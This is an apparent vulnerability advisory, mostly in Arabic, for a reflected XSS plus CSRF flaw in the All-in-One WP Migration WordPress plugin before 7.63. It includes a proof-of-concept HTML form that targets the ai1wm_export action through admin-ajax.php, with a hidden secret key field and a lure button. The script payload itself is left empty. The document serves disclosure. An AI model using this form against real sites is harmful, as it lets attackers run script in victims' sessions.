
All-in-One WP Migration < 7.63 - Unauthenticated Reflected XSS + CSRF
يستخدم الملحق نوع المحتوى الخاطئ، ولا يقوم بتضمين الهروب بشكل صحيح للاستجابة من إجراء ai1wm_export، مما يسمح للمهاجم بتجهيز طلب يؤدي عند إرساله من قبل أي زائر إلى حقن HTML أو جافا سكريبت عشوائي في الاستجابة التي سيتم تنفيذها في جلسة الضحية.
لإعادة إنتاج الخلل، يمكننا تصدير كل محتوى الموقع بواسطة الملحق وإدخال اسم غير صالح في اسم ملف الإخراج.
من خلال التحقق من الثغرة، من الممكن الجمع بين الهجوم و CSRF، مما سيجبر متصفح الضحية على إرسال طلب مع الحمولة.
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="">
<input type="submit" value="Get rich!">
</form>
الترحيل الكل في واحد لووردبريس < 7.63
البرمجة النصية عبر المواقع (XSS)
النوع: البرمجة النصية عبر المواقع
أفضل 10 OWASP: A03:2021-Injection
CWE: CWE-79 سوء تحييد المدخلات أثناء إنشاء صفحة الويب ('البرمجة النصية عبر المواقع')
Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) و Guilherme Acerbi (Ghost).